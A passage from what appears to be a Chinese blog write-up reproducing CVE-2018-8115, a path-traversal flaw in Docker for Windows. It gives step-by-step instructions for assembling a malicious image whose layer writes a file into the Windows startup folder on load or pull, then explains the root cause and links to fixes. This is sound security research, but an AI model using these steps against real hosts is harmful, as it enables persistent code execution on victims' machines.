  • 修改 8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12.json 文件的 rootfsdiff_ids 字段,添加一行到末尾,内容为 sha256:上面求得的SHA256小写,也就是 sha256:0cb4fea09b841abe6b5ed4ff85e9a9b8c0ad88c074a35327cfa5989b1a05ebbb,如下:

/images/CVE-2018-8115漏洞复现/04b6b058-fcfd-11ea-b58d-80fa5b238e56.png

  • 获得修改后的 8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12.json 文件的 SHA256,将其转为小写当作本文件的名字,如下:

/images/CVE-2018-8115漏洞复现/04b6eb76-fcfd-11ea-93b1-80fa5b238e56.png

  • 修改 manifest.json 文件:
    • 修改 Config 字段为上方修改后的文件名,也就是 6415332bfe2d8d3b11ccf553f98d5fba400897dca617a4eb9c0f8835853ad7cc.json
    • Layers 字段末尾新增一行,内容为上方恶意文件层的路径,也就是 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92\\layer.tar

/images/CVE-2018-8115漏洞复现/04b719ac-fcfd-11ea-9b1a-80fa5b238e56.png

  • 将所有文件打包成 tar

完成如上步骤,恶意镜像构造好了,现在用 docker load 来测试一下,输入命令 docker load -i nanoserver.tar,可看到恶意文件被写入自启目录 %ProgramData%\Microsoft\Windows\Start Menu\Programs 中,如下:

/images/CVE-2018-8115漏洞复现/04b73d5e-fcfd-11ea-abbe-80fa5b238e56.png

最终解决

通过上面的操作,本地 load 方式是可以触发漏洞的,现在再回过头来看看 pull 时的漏洞触发。这一步失败的原因上面也讲到了,无非就是 Registry 无法识别我们传上去的 config.jsonmanifest.json,解决这个问题还是得多看看官方文档,我在这里花了很多时间,结合网上的资料,某一天突然想到,既然提示另两个 blob 找不到,那我配置文件中不写它们不就完了,config.jsonmanifest.json 里面的 blob 就只写自己构造的恶意文件那一层就行了,于是修改后的配置文件变成了这样:

/images/CVE-2018-8115漏洞复现/04b76462-fcfd-11ea-b99f-80fa5b238e56.png

可以看到其实就是 config.jsonmanifest.json 中多余的镜像层被删掉了,删了之后按照复现漏洞的步骤走,就成功使用 pull 实现了漏洞攻击。


END

其实大概的漏洞原理经过复现与网上的资料学习,了解得差不多了。大概就是 Docker 将镜像存储在本地时,需要将 layer 内的文件根据它的路径解压到本地,但由于对路径处理的有问题,直接使用包含 ../ 的路径解压了文件,导致攻击者可以控制文件创建的路径,从而实现任意文件写入。需要注意的是,这并不是 Docker 的问题,而是微软提供的 API 接口有问题,所以该漏洞也只存在与 Docker for Windows 上。

按照分析流程,现在应该分析一波代码,弄清楚具体出现问题的漏洞点,但无奈对 Go 语言的不太熟,这种大项目的源码又很复杂,所以现在的水平还无法对其进行源码分析,这里总结了下面几个链接,可以参考参考:

Docker 未修复漏洞的版本:<= v18.03.1-ce-rc1

Docker 漏洞版本的相邻 tag:https://github.com/moby/moby/tags?after=v18.06.0-ce-rc1

微软开始修复漏洞的 commit:https://github.com/microsoft/hcsshim/commit/79062a5b985d24ef42a4252a1b63a93ec450e407?branch=79062a5b985d24ef42a4252a1b63a93ec450e407&diff=split#

hcsshim v0.6.8~v0.6.10 之间的差异:https://github.com/microsoft/hcsshim/compare/v0.6.8...v0.6.10

镜像存储源码分析:https://www.infoq.cn/article/docker-source-code-analysis-part11


参考链接